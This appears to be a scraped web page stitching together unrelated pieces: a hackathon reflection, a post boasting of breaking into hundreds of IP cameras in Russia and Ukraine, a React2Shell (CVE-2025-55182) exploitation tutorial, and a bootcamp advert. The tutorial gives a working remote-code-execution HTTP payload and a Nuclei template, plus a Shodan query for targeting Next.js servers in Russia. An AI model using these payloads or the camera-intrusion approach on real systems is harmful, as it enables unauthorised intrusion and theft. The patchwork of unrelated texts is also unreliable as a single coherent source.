But after a week of thinking about it, I’m pretty sure I know why: I don’t actually care what I think of other peoples’ projects! I’m simply stoked to talk to everyone who brought anything, and bathe in the success and failure, hearing about the challenges that they saw coming, and then the new challenges they met along the way. I want to know what the hacker thinks of their project, what their intention was, and how their story went. I’m just a spectator, so I collected stories.
The overwhelming, entirely non-surprising result of listening to a couple hundred hackers talk about their projects? They’re all doing it for the fun of it. Simply for the grins. And that held equally well for the supremely planned-out and technical projects as well as their simpler I-bought-these-surplus-on-eBay-one-night relatives. “We were sitting around and thought, wouldn’t it be fun…” was the start of nearly every story.
That’s what I absolutely love about our community: that people are hacking because it makes them happy, and that the amazing variety of projects suggests an endless possibility for hacker happiness. It’s hard to come away from an event like that without being energized. Some of that comes from the sharing of ideas and brainstorming and hanging out with like-minded folks, but what I find most important is simply the celebration of the joy of the project for its own sake.
Happy hacking!
Welcome back, my cyberwarriors!
This article was first published at Hackers-Arise in April 2022, just 2 months after the Russians invaded in Ukraine.
At the request of the IT Army of Ukraine, we were asked to help the war efforts by hacking a large number of IP cameras within Ukrainian territory. In this way, we can watch and surveil the Russian army in those areas. Should they commit further atrocities (we certainly pray they will not), we should be able to capture that on video and use it in the International Criminal Court. At the very least, we hope the word goes out to the Russian soldiers that we are watching and that constrains their brutality.
In a collaborative effort, our team (you all) has been able to hack into a very large number. We have nearly 500, and we are working on the remainder.
Here is a sampling of some of the cameras we now own for surveillance in Russia and Ukraine.
To learn more about hacking IP cameras, become a Subscriber Pro and attend our IP Camera Hacking training.
Welcome back, aspiring cyberwarriors!
In our industry, we often see serious security flaws that change everything overnight. React2Shell is one of those flaws. On December 3, 2025, security researchers found CVE-2025-55182, a critical bug with a perfect 10.0 severity score that affects React Server Components and Next.js applications. Within hours of going public, hackers started using this bug to break into IoT devices and web servers on a massive scale. By December 8, security teams saw widespread attacks targeting companies across multiple industries, from construction to entertainment.
What makes React2Shell so dangerous is how simple it is to use. Attackers only need to send one malicious HTTP request to take complete control of vulnerable systems. No complicated steps, no extra work required, just one carefully crafted message and the attacker owns the target.
In this article, we’ll explore the roots of React2Shell and how we can exploit this vulnerability in IoT devices.
React2Shell takes advantage of how React Server Components handle the React Flight protocol. The React Flight protocol is what moves server-side components of the web framework around. You can think of React Flight as the language that React Server Components use to communicate. When we talk about deserialization vulnerabilities like React2Shell, we’re talking about data that’s supposed to be formatted a certain way being misread by the code that receives it. To learn more about deserialization, check our previous article.
Internally, the deserialization payload takes advantage of how React handles Chunks, which are basic building blocks that define what React should render, display, or run. A chunk is basically a building block of a web page – a small piece of data that the server evaluates to render or process the page on the server instead of in the browser. Essentially, all these chunks are put together to build a complete web page with React.
In this vulnerability, the attacker crafts a Chunk that includes a then method. When React Flight sends this data to React Server Components, React treats the value as thenable, something that behaves like a Promise. Promises are essentially a way for code to say it does not have the result of something yet but will run some code and provide the results later. Javascript React’s automatic handling or misinterpretation of these promised values is what this exploit abuses.
Chunks are referenced with the dollar at token. The attacker has figured out a way to express state within the request forged to the server. With a status of resolved model, the attacker is tricking React Flight into thinking that it has already fulfilled the data in chunk zero. Essentially, the attacker has forged the lifecycle of the request to be further along than it actually is. Because this is resolved as thenable due to the then method by React Server Components, this leads down a code path which eventually executes malicious code.
When Chunk 1 is evaluated, React observes that this is thenable, meaning it appears as a promise. It will refer to Chunk 0 and then attempt to resolve the forged then method. Since the attacker now controls the then resolution path, React Server Components has been tricked into a codepath which the attacker has ultimate control over. When formData.get is set to a value which resolves to a constructor, React treats that field as a reference to a constructor function that it should hydrate during processing of the blob value. This becomes critical because dollar B values are rehydrated by React, and subsequently it must invoke the constructor.
This makes dollar B the execution pivot. By compelling React to hydrate a Blob-like value, React is forced to execute the constructor that the attacker smuggled into formData.get. Since that constructor resolves to the malicious thenable function, React executes the code as part of its hydration process. Lastly, by defining the prefix primitive, the attacker prepends malicious code into the executable codepath. By appending two forward slashes to the payload, the attacker has told Javascript to treat the rest as a commented block, allowing execution of only the attacker’s code and avoiding syntax errors, quite similar to SQL Injection.
Before working with the exploit, let’s go to Shodan and see how many active sites on Next.js it has indexed.
As you can see, the query: http.component:“Next.js” 200 country:“ru” returned more than a thousand results. But of course, not all of them are vulnerable. To check, we can use the following template for Nuclei.
id: cve-2025-55182-react2shell
info:
name: Next.js/React Server Components RCE (React2Shell)
author: assetnote
severity: critical
description: |
Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components.
It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'.
reference:
- https://github.com/assetnote/react2shell-scanner
- https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id:
- CVE-2025-55182
- CVE-2025-66478
tags: cve, cve2025, nextjs, rce, react
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers-condition: and
matchers:
- type: word
part: header
words:
- "/login?a=13371337"
- "X-Action-Redirect"
condition: andNext, this command will show whether the web application is vulnerable.
kali> nuclei -silent -u http://<ip>:3000 -t react2shell.yaml
In addition, on Github you can find scanners in different programming languages that do exactly the same thing. Here is an example of a solution from Malayke:
You can create a test environment for this vulnerability with just a few commands:
kali> npx create-next-app@16.0.6 my-cve-2025-66478-app
kali> cd my-cve-2025-66478-app
kali> npm run dev
Commands above create a new Next.js application named my-cve-2025-66478-app using version 16.0.6 of the official setup tool, without installing anything globally. If you open localhost:3000 in your browser, you will see the following.
At this stage, we can proceed to exploit the vulnerability. Open your preferred web app proxy application, such as Burp Suite or ZAP. In this case, I will be using Caido (if you have not used it before, you can familiarize yourself with it in the following articles).
The algorithm is quite simple: we need to catch the request to the site and redirect it to Replay.
After that, we need to change the request from GET to POST and add a payload. The overall request looks like this:
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--As a result, the id command was executed.
Security researchers have identified multiple instances of React2Shell attacks across different systems. The similar patterns observed in these cases reveal how the attacker operates and which tools they use, at least during the early days following the vulnerability’s disclosure.
In the first case, on December 4, 2025, the attacker broke into a vulnerable Next.js system running on Windows and tried to download an unknown file using curl and bash commands. They then tried to download a Linux cryptocurrency miner. About 6 hours later, they tried to download a Linux backdoor. The attackers also ran commands like whoami and echo, which researchers believe was a way to test if commands would run and figure out what operating system was being used.
In the second case, on another Windows computer, the attacker tried to download multiple files from their control servers. Interestingly, the attacker ran the command ver || id, which is a trick to figure out if the system is running Windows or Linux. The ver command shows the Windows version, while id shows user information on Linux. The double pipe operator makes sure the second command only runs if the first one fails, letting the attacker identify the operating system. Like before, the attacker also ran a command to test if their code would run, followed by commands like whoami and hostname to gather user and system information.
In the third case, the attacker followed the same pattern. They first ran commands to test if their code would work and used commands like whoami to gather user information. The attacker then tried to download multiple files from their control servers. The commands follow the same approach: download a shell script, run it with bash, and sometimes delete it to hide evidence.
Unlike the earlier Windows cases, the fourth case targeted a Linux computer running a Next.js application. The attacker successfully broke in and installed an XMRig cryptocurrency miner.
Based on the similar pattern seen across multiple computers, including identical tests and control servers, researchers believe the attacker is likely using automated hacking tools. This is supported by the attempts to use Linux-specific files on Windows computers, showing that the automation doesn’t tell the difference between operating systems. On one of the hacked computers, log analysis showed evidence of automated vulnerability scanning before the attack. The attacker used a publicly available GitHub tool to find vulnerable Next.js systems before launching their attack.
Security researchers have found a nine-month campaign targeting IoT devices and web applications to build a botnet called RondoDox. This campaign started in early 2025 and has grown through three phases, each one bigger and more advanced than the last.
The first phase ran from March through April 2025 and involved early testing and manual scanning for vulnerabilities. During this time, the attackers were testing their tools and looking for potential targets across the internet. The second phase, from April through June 2025, saw daily mass scanning targeting web applications like WordPress, Drupal, and Struts2, along with IoT devices such as Wavlink routers. The third phase, starting in July and continuing through early December 2025, marked a shift to hourly automated attacks on a large scale, showing the operators had improved their tools and were ready for mass attacks.
When React2Shell was disclosed in December 2025, the RondoDox operators immediately added it to their toolkit alongside other N-day vulnerabilities, including CVE-2023-1389 and CVE-2025-24893. The attacks detected in December follow a consistent pattern. Attackers scan to find vulnerable Next.js servers, then try to install multiple payloads on infected devices. These payloads include cryptocurrency miners, botnet loaders, health checkers, and Mirai botnet variants. The infection chain is designed to stay on systems and resist removal attempts.
A large portion of the attack traffic comes from a datacenter in Poland, with one IP address alone responsible for more than 12,000 React2Shell-related events, along with port scanning and attempts to exploit known Hikvision vulnerabilities. This behavior matches patterns seen in Mirai-derived botnets, where compromised infrastructure is used both for scanning and for launching multi-vector attacks. Additional scanning comes from the United States, the Netherlands, Ireland, France, Hong Kong, Singapore, China, Panama, and other regions, showing broad global participation in opportunistic attacks.
CVE-2025-55182 exists in several versions including version 19.0, 19.1.0, 19.1.1, and 19.2.0 of the following packages: react-server-dom-webpack, react-server-dom-parcel, and react-server-dom-turbopack. Businesses relying on any of these impacted packages should update immediately.
Cyberwarriors need to make sure their systems are safe from new threats. The React2Shell vulnerability is a serious risk for organizations using React Server Components and Next.js applications. Hackers can exploit this vulnerability to steal personal data, corporate data, and attack critical infrastructure by installing malware. This vulnerability is easy to exploit, and many organizations use the affected software, which has made it popular with botnet operators who’ve quickly added React2Shell to their attack tools. Organizations need to patch right away, use multiple layers of defense, and watch their systems closely to protect against this threat. A vulnerability like React2Shell can take down entire networks if even one application is exposed.
In today’s hyper-connected world, cybersecurity is no longer optional; it’s essential. Every business, from startups to global enterprises, relies on secure systems to protect sensitive data, customer trust, and operational continuity. Yet cyber threats are growing faster than the talent pool needed to stop them. This gap has created an incredible opportunity for individuals who want to build a future-proof, high-impact career in ethical hacking.
That’s exactly why Master Ethical Hacking in Live Bootcamp was created.
This Ethical Hacking bootcamp is not just another online hacking course filled with pre-recorded videos and generic labs. It’s a live, immersive, hands-on learning experience designed to transform beginners and IT enthusiasts into confident ethical hackers who understand how real-world attacks work and how to defend against them.
